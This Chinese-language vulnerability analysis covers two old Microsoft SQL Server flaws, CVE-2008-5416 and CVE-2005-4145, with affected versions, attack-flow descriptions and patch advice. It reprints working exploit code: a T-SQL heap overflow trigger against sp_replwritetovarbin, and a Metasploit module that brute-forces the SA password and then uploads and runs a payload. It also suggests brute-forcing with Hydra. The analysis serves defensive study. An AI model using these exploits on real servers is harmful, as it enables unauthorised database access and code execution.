Microsoft SQL Server漏洞淺析
0x01 Microsoft SQL Server資料庫簡介
Microsoft SQL Server是微軟公司推出的關係型資料庫管理系統,因其具有使用方便與可伸縮性好,且與相關軟體整合程度高等優點,從而被廣泛使用。Microsoft SQL Server 資料庫引擎為關係型資料和結構化資料提供了更安全可靠的儲存功能,可以構建和管理對高可用和高效能有需求的業務業務場景。
目前Microsoft SQL Server資料庫在全球的應用量也比較靠前,據統計,在全球範圍內對網際網路開放Microsoft SQL Server資料庫服務的資產數量多達237,065臺,發現中國地區對外開放的Microsoft SQL Server資料庫服務數量排名第一,數量為75793臺,接近全球總量的30%。排名第二與第三的分別是美國與荷蘭地區,其對外開放的Microsoft SQL Server資料庫服務數量分別為35,965臺和33,664臺。由此看來,國內使用Microsoft SQL Server資料庫的使用者很廣泛,對Microsoft SQL Server資料庫的漏洞防範就顯得尤為重要了。
(統計資料僅為對網際網路開放的資產,本資料來源於FOFA。)
0x02 Microsoft SQL Server漏洞概述
近幾年Microsoft SQL Server資料庫爆發的漏洞數量與其它型別資料庫相比,所暴露出來的漏洞相對較少。在此,挑選兩個可利用性高,且具有代表性的漏洞進行分析,分析列表如下:
0x03 Microsoft SQL Server漏洞分析
1、CVE-2008-5416 漏洞分析
一、漏洞資訊:
二、漏洞概述:
Microsoft SQL Server是一款流行的SQL資料庫系統。Microsoft SQL Server的sp_replwritetovarbin擴充套件儲存過程中存在堆溢位漏洞,如果遠端攻擊者在引數中提供了未初始化變數的話,就可以觸發這個溢位,向可控的位置寫入記憶體,導致已有漏洞SQL Server程序的許可權執行任意程式碼。在預設的配置中,任何使用者都可以訪問sp_replwritetovarbin過程。通過認證的使用者可以通過直接的資料庫連線或SQL注入來利用這個漏洞。
三、漏洞影響:
· Microsoft SQL Server 受CVE-2008-5416漏洞影響的版本如下:
· MSSQL 2000 / MSDE SP0 (8.00.194)
· MSSQL 2000 / MSDE SP1 (8.00.384)
· MSSQL 2000 / MSDE SP2 (8.00.534)
· MSSQL 2000 / MSDE SP3 (8.00.760)
· MSSQL 2000 / MSDE SP4 (8.00.2039)
· MSSQL 2005 SP0 (9.00.1399.06)
· MSSQL 2005 SP1 (9.00.2047.00)
·MSSQL 2005 SP2 (9.00.3042.00)
四、漏洞分析:
1、CVE-2008-5416漏洞PoC利用程式碼分析:
我們從網際網路中找到了CVE-2008-5416漏洞PoC,如下是漏洞PoC利用程式碼片段:
DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' declare @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int, @buf nvarchar; exec master.dbo.sp_replwritetovarbin 1, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3000 BEGIN SET @counter = @counter + 1 SET @buf = @buf + @val END SET @buf = @buf + ''',''1'',''1'',''1'', ''1'',''1'',''1'',''1'',''1'',''1''' EXEC master..sp_executesql @buf
通過PoC程式碼可以看出,先定義未初始化的自定義變數,然後傳入超長資料段(資料段中可構造惡意攻擊程式碼),通過sp_replwritetovarbin擴充套件在儲存過程中進行堆溢位,將構造的攻擊程式碼寫入記憶體並執行。
2、CVE-2008-5416漏洞攻擊流量分析:
攻擊者TDS協議對靶機發起遠端登陸認證請求,因為該漏洞只有遠端認證成功後才可以進一步被利用。如下所示:
當登陸請求認證成功後,進一步查詢資料庫伺服器的版本資訊。如下所示:
在確定資料庫系統的版本資訊後,再進一步選擇對應的攻擊PayLoad載荷,進行儲存過程溢位攻擊。如下所示:
五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2008-5416漏洞的靶機進行測試,發現可以利用成功。如下圖所示:
六、漏洞修復建議:
Microsoft已經為此釋出了一個安全公告(MS09-004)以及相應補丁。連結如下:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-004
2、CVE-2005-4145漏洞分析:
一、漏洞資訊:
· 漏洞名稱:Lyris ListManager MSDE Weak SA Password Vulnerability
· 漏洞編號:CVE-2005-4145
· 漏洞型別:Weak Password Vulnerability
二、漏洞概述:
Lyris_technologies_inc Listmanager是Microsoft SQL Server MSDE中的一款重要元件,由於Lyris_technologies_inc Listmanager 5.0 – 8.9b版本中存在將資料庫的SA帳戶配置為使用具有小型搜尋空間的密碼的設計缺陷,導致攻擊者可遠端通過暴力破解攻擊獲取Microsoft SQL Server資料庫的訪問權。
三、漏洞影響:
Lyris_technologies_inc Listmanager受CVE-2005-4145漏洞影響的版本如下:
· Lyris_technologies_inc Listmanager 5.0
· Lyris_technologies_inc Listmanager 6.0
· Lyris_technologies_inc Listmanager 7.0
· Lyris_technologies_inc Listmanager 8.0
· Lyris_technologies_inc Listmanager 8.8a
四、漏洞分析:
1、漏洞PoC程式碼分析:
我們從網際網路中找到了CVE-2005-4145漏洞PoC,如下是漏洞PoC利用程式碼片段:
def exploit # New installations use a randomly generated suffix like "lyris629dAe536F" pass = nil while(true) print_status("Trying to authenticate with password 'lminstall'...") if(mssql_login('sa', 'lminstall')) pass = 'lminstall' break end print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...") 1.upto(65535) do |pid| if(pid % 1000 == 0) print_status(" >> Completed #{pid} of 65535 authentication requests") end if(mssql_login('sa', "lyris#{pid}")) pass = "lyris#{pid}" break end end print_status("This system does not appear to be exploitable") return end print_status("") print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'") print_status("") exe = generate_payload_exe mssql_upload_exec(exe) handler disconnect end end
從上面的漏洞PoC程式碼可以看出,先嚐試使用賬號SA,密碼lminstall進行嘗試登陸,如成功,就執行下面的SQL利用程式碼,否則,進一步對SA賬戶進行程序PID暴力列舉來獲取登陸許可權,如登陸成功,同理,執行下面的SQL利用程式碼。
2、CVE-2005-4145漏洞PoC資料包分析:
攻擊者通過TDS協議對靶機不停的發起遠端登陸認證請求,使用者名稱為SA,不停的列舉密碼。
五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2005-4145漏洞的靶機進行測試,發現可以利用成功。如下圖所示:
技巧提示:CVE-2005-4145漏洞PoC通過預設賬號或指定賬號的方式來進行列舉測試,由於程式碼實現比較簡單,也比較雞肋。我們可自行通過Hydra等工具列舉成功後,再將列舉成功的值填寫Password欄位中,然後進一步快速深度利用。
六、漏洞修復建議:
目前,官方已經在Lyris_technologies_inc Listmanager 8.9b版本修復了此漏洞,可自行升級到8.9b及以上版本。
0x04結語
通過對Microsoft SQL Server進行一些列的梳理和分析,可以從以下幾個維度進行歸納和總結:
1、高危漏洞主要分佈在:Microsoft SQL Server 7、Microsoft SQL Server 2000、Microsoft SQL Server 2005這三個版本。
2、影響範圍比較廣的漏洞型別有:緩衝區溢位漏洞、弱密碼、許可權提升、拒絕服務等四種。
3、Microsoft SQL Server高危漏洞的觸發條件比較苛刻,基本上都需要先通過賬號進行登陸才能進一步利用。
4、Microsoft SQL Server類漏洞比較集中爆發的時期是1997年至2005年這8年。隨著微軟對安全性越來越重視,在隨後釋出的Microsoft SQL Server 2008及之後版本中存在的高危安全性問題越來越少。